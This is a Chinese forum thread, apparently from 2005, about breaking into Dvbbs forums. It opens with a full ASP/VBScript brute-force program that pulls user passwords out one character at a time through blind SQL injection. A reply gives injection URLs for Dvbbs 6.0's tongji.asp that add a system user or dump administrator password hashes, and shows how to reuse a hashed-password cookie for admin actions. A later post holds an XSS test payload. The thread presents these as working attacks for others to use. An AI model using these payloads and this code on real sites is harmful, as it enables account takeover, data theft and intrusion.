• 论坛网址:https://dianbai.wiki(可微信分享)、https://0668.es、https://0668.cc(全加密访问)

暴力破解动网论坛密码程序 (1人在浏览)

freeworking

命运追逐
荣誉会员
注册
2004-11-09
帖子
520
反馈评分
0
点数
1
年龄
40
暴力破解动网论坛密码程序
要破一个名叫ABC的用户密码,察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc,在dispuser.asp中,读取参数的语句是: username=trim(request(“name”)),数据库的查询的语句是: sql=“select * from [user] where username=’“&username&”’”,abc就是直接被作为了dispuer的一个参数username。另外,如果该用户不存在,程序就会给出提示,就再写入个查询密码的条件,在where username=abc后面加上and userpassword=“******”,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc%20and%20len(userpassword)=5%20and%201=1,这么看可能不好理解,放到sql语句里其实就是这样子:sql=“select * from [User] where username=abc and len(UserPassword)=5 and 1=1”,%20是空格,abc后面的单引号和’1’=’1里的单引号都是为了和sql语句相匹配。该用户不存在?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc%20and%20left(userpassword,1)=a,如果猜对了就给出用户资料,猜错了就给出该用户不存在的提示,就可以直接在程序里面用xmlhttp来获取指定网址的内容,然后根据提供的关键字来判断是否猜对了,先用前面说的len方法从1开始穷举搞定为止,然后在针对每一位密码用mid函数集合键盘的asc码的范围(33到126),在程序里面用二分法来逐步缩小范围,几个循环就完成了。

注意,只适用了部分动网论坛版本。(基本一分钟破解出来一个密码)
以下是代码:

<%
response.buffer=false
为防止程序陷入死循环,初始化一些最大重试值
Dim MaxPassLen,MaxPassAsc
MaxPassLen=20 密码最大长度
MaxPassAsc=20
==== 字符转换
Function bytes2BSTR(vIn)
strReturn = ""
For j = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,j,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,j+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
j = j + 1
End If
Next
bytes2BSTR = strReturn
End Function
下面是取网页内容 ==========
Function GetUrl(Url)
set oSend=createobject("Microsoft.XMLHTTP")
SourceCode = oSend.open ("GET",url,false)
oSend.send()
SourceCode = bytes2BSTR(oSend.responseBody)
GetUrl = SourceCode
End Function
下面是判断返回页面效果
Function ChkPage(SourceCode,SucKey,ErrKey)
if Instr(SourceCode,SucKey) > 0 then
ChkPage=true 页面返回成功
exit function
end if
if Instr(SourceCode,ErrKey) > 0 then
ChkPage=false 页面出错
exit function
end if
ChkPage=false 关键字信息不对或者是页面未连接
response.write("关键字信息不对或者是页面未连接")
response.end
End Function

开始破解
Dim url,username,password,SucKey,

Dim PassLenUrl
Dim PassLen
Dim ChkPassLen

If request("begin")<>"" then
response.cookies("PassLen")=0
url=request("url")
username=request("username")
password=request("password")
SucKey=request("SucKey")
ErrKey=request("ErrKey")
response.write("第一步,破解密码长度<BR>")

PassLen = 1
ChkPassLen = false
Do while not ChkPassLen
PassLenUrl = Url & username & "%20and%20len(" & password & ")=" & PassLen & "%20and%201=1"
response.write("当前测试密码位数为“" & PassLen & "”,请稍等......<BR>")
ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
If ChkPassLen Then
response.write("成功!!!密码位数已经测试出来了,开始测试具体位数<BR>")
exit do
Else
response.write("不行,继续下一位测试!<BR>")
End If
If PassLen > MaxPassLen then
response.write( "密码位数未能测试出,请确认是否有此用户或重新调整密码长度范围")
response.end
exit do
End If
PassLen = PassLen + 1
Loop
response.write ("<FONT COLOR=red>已经测试出密码长度为" & PassLen & ",开始测试具体密码值</FONT><BR><BR>")
循环每一位
Dim Asc1,Asc2,Asc10,Asc20,Ascstr
Dim AscArr(PassLen)
Dim ChkPass,Asctemp1,Asctemp,count
Ascstr = ""

For i=1 to PassLen
ChkPass = false
Asc1 = 33
Asc2 = 126
response.write "开始破解第" & i & "位密码<BR>"
用二分法取asc码范围
count=1
suc=false
Do while not suc
Asctemp1=Asctemp
if (Asc2-Asc1) mod 2 = 1 then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
end if

response.write "划定密码范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
PassLenUrl = Url & username & "%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%201=1"
response.write "划定密码范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
if Asc1 = 33 and Asc2 = 126 and not ChkPass then
response.write "密码不在所设定ASC码范围内"
response.end
exit do
end if
if ChkPass then
Asc10=Asc1
Asc20=Asc2
response.write("密码在该范围内<BR>")
if Asc1=Asc2 then Suc = true
Asc2 = Asc1 + Asctemp
else
Asc1 = Asc20-Asctemp1
Asc2 = Asc20
response.write("不在该范围内,改试另一范围<BR>")
end if
count=count+1
if count>MaxPassAsc then
response.write("死循环了!")
response.end
exit do
end if
Loop
Ascstr=Ascstr & chr(Asc1)
response.write"<BR>当前破解进度(“"&Ascstr&"”)<BR><BR><BR><BR>"
Next


response.write"<FONT SIZE=7 COLOR=red>" & username & "的密码已经破解成功!!!!!!!(" & Ascstr & ")<BR></FONT><BR>"
else
%>
<body style="font-size:9pt">
<h3 align=center><B>动网论坛暴力破解程序</B></h3>

<form METHOD=POST ACTION="" name=frm>
网站地址:<INPUT TYPE="text" NAME="url" value="http://*******/bbs/viewuser.asp?username=">(要破解攻击的地址,注:地址中"="后的信息不要)<BR>
密码字段:<INPUT TYPE="text" NAME="password" value="password">(在数据库中保存密码的字段名)<BR>
出错页关键字:<INPUT TYPE="text" NAME="ErrKey" value="错误">(没有找到该用户时返回的页面关键字,比如“错误信息”)<BR>
成功页关键字:<INPUT TYPE="text" NAME="SucKey" value="">(成功查询到该用户资料时的关键字,比如用户名)<BR>
用户名称:<INPUT TYPE="text" NAME="username">(要破解密码的用户名)<BR>
<INPUT TYPE="submit" value="开始破解" name="begin"> <INPUT TYPE="button" value="检查用户" onclick="ChkUser()"> <INPUT TYPE="button" value="继续破解" onclick="alert(防止中途结束了,但是没作好)">
</form>
<%end if%>
<script LANGUAGE="****">
<!--
function ChkUser()
{
window.open(document.frm.url.value+document.frm.username.value);
}
//-->
</SCRIPT>

HK不是从真正意义上的去黑,而是挑战自己,挑战困难,坚毅,执著,智慧……
 
上面的看不出什么漏洞的,只是HK一种方法
我们看看下面的

涉及版本:
^^^^^^^^^^
DVBBS VER 6.0.0 &DVBBS VER 6.0.0 SP1&DVBBS VER 6.0.0 SP2<ACCESS&MSSQL>
//低版本没看,反正低版本的问题成堆,也不少这一个-)

描述:
^^^^^^
DVBBS是一款由WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛;由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,进而威胁论坛或服务器安全。

具体:
^^^^^^
DVBBS经analysist加固后,消除了大批安全隐患,并引入了很多的安全措施,如果大家对编写安全的Asp代码有兴趣,DVBBS将是一个很好的参考!虽然Asp语法简单,出现问题的情况也就那么几种。小型Asp程序中,程序员只要稍微有点安全意识就可以避免出现漏洞;但在较大规模的纷杂的程序中,难免出现遗漏,而只要有一个缺陷存在,系统安全就得不到保障。说了这么多废话,我们转入正题,问题其实很简单,看代码:
---------------------------------------------------------
6 if request("orders")=1 then
7call tongji()
8 elseif request("orders")=2 then
9call topuser()
...
60sub topuser()
61set rs=server.createobject("adodb.recordset")
62sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDatefrom [user] order by article desc"
---------------------------------------------------------
很明显吧?(你怎么就没发现呢~呵呵),变量 n 没有经任何检查就直接放到SQL查询中了。

攻击方法:
^^^^^^^^^^
1:MSSQL
如果是MSSQL版的,还客气什么,直接提交如下URL:
http://www.target.com/asp/dvbbssql/tongji....0/add'%20--
顺利的话,对方系统便会添加love/hack用户,顺便还可以看到论坛管理员的经MD5加密后的密码字符串(FT,系统用户都添加了,论坛管理员算什么?),由于本文不是sql injection教学,就此打住。

2:ACCESS
如果是ACCESS版的,哈哈,很多朋友紧张起来了,看看tongji.asp下面的代码:
---------------------------------------------------------
66response.write "document.write('<FONT color=#b70000>□</FONT><span style=""font-size:9pt;line-height: 15pt""><a href=http://www.pydz.com/sunwinbbs/dispuser.asp?name="& rs(0) &" target=_blank title=查看"&rs(0)&"的个人资料>');"
67 response.write "document.write('"&rs(0)&"</a>');"
68response.write "document.write('</span><br>');"
---------------------------------------------------------
看见有趣的东西了没有?没错,就是 rs(0) ,如果我们指定 “n=50 userpassword,”(n的值随便选择,看你想偷看多少用户的密码啦),嘿嘿,现在rs(0) 就不是 username 而是 userpassword了,例如:

http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2
返回:
---------------------------------------------------------
document.write('□');document.write('admin');document.write('
');document.write('□');document.write('ss');document.write('
');
---------------------------------------------------------

http://www.target.com/asp/dvbbs/tongji.asp...%20userpassword,
返回:
---------------------------------------------------------
document.write('□');document.write('18e071ccfb2d1c99');document.write('
');document.write('□');document.write('acd5fdfea300e88a');document.write('
');
---------------------------------------------------------
哦,原来admin的密码是18e071ccfb2d1c99,但是经过MD5加密的,别急,用同样的办法你可以把admin的userid、回答问题....全部搞到手。

得到这些能干什么?(准备暴力破解可以略过不看)
曾经看到一篇奇文《得到论坛数据库后如何快速夺取管理员密码<对动网>》,内容大致是:自己安装一个动网论坛,把得到的加过密的16位密码复制下来,贴到你刚才注册的ID的密码处,用找回密码功能就可以了,只要提示问题答案填写正确,密码就发到你的信箱了。
基本上是鬼扯,但作者视MD5如草芥的魄力不得不令小弟佩服。

在老版本的动网中,得到这些信息后可以直接修改用户密码,但在6.0中消除了这一隐患,试看 modifypsw.asp相关代码:
---------------------------------------------------------
elseif md5(trim(request("oldpsw")))<>trim(rs("userpassword")) then
errmsg=errmsg+"<br>"+"<li>输入的旧密码错误,请重新输入。"
founderr=true
exit sub
---------------------------------------------------------
哈哈,不行了吧!

看看管理员操作论坛时到底需要些什么,举个例子,删帖的时候:

---------------------------------------------------------
POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer: http://www.target.com/asp/dvbbs/admin_post...&BoardID=2&ID=2
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
Host: www.target.com
Content-Length: 124
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0

title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
---------------------------------------------------------

明白了吧,这里头该有的我们都可以得到,大家要是有时间就帮论坛管理员删删那些垃圾帖吧:)

还可以做什么?动动脑子,你可以做到更多。

后记:心情太不美丽了,臭屁了这么久您可不要厌烦。Have a nice day!
 
动网本身就是垃圾程序,花样再多也是垃圾。
上次有个白痴说IPB是垃圾,说功能少,都有病的,IPB的强大功能很多是默认不开或者需要DIY实现,现在IPB的功能插件都有125个以上,有时间慢慢汉化。
全球暂时没发现过IPB因为程序问题被黑的事件,唯一的IPB.CN是因为服务器的虚拟主机有个DVBBS引起的被黑。
 
动网垃圾我也赞成哦~~其余的不作发表
 
QUOTE(半个人 @ Feb 18 2005, 11:53 AM)
动网本身就是垃圾程序,花样再多也是垃圾。
上次有个白痴说IPB是垃圾,说功能少,都有病的,IPB的强大功能很多是默认不开或者需要DIY实现,现在IPB的功能插件都有125个以上,有时间慢慢汉化。
全球暂时没发现过IPB因为程序问题被黑的事件,唯一的IPB.CN是因为服务器的虚拟主机有个DVBBS引起的被黑。
[snapback]246598[/snapback]​


边个话IPB系垃圾啊,,,真系个大白痴啊.....
 
我什么不懂``
 
测试测试<img src=javascript:alert(‘xss’);>&#3585&#3636&#3636&#3636&#3636
ญ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊
 
最后编辑:

正在浏览此帖子的用户

后退
顶部